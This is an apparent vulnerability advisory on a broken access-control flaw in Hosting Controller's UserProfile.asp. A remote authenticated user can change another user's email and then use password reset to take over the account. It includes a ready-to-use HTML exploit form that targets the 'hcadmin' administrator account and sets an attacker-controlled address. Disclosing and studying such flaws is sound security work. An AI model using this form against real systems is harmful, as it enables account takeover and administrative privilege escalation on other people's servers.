Description:
Soroush Dalili from GrayHatz Security Group reported a vulnerability in Hosting Controller. A remote authenticated user can change a target user's profile.
The 'UserProfile.asp' script does not properly enforce access controls. A remote authenticated user can change a target user's e-mail address. Then, the remote authenticated user can invoke the 'forgot password' feature to request that a new password be sent to the modified e-mail address. This can be exploited to gain administrative privileges.
A demonstration exploit form is provided:
<form
action="http://[URL]/admin//accounts/UserProfile.asp?action=updateprofile"
method="post">
Username : <input name="UserList" value="hcadmin"
type="text" size="50">
<br>
emailaddress : <input name="emailaddress"
value="Crkchat@msn.com" type="text" size="50">
<br>
firstname : <input name="firstname" value="Crkchat"
type="text" size="50">
<br>
<input name="submit" value="submit" type="submit">
</form>
|
Impact:
A remote authenticated user can change a target user's profile and then gain access to the target user's account.
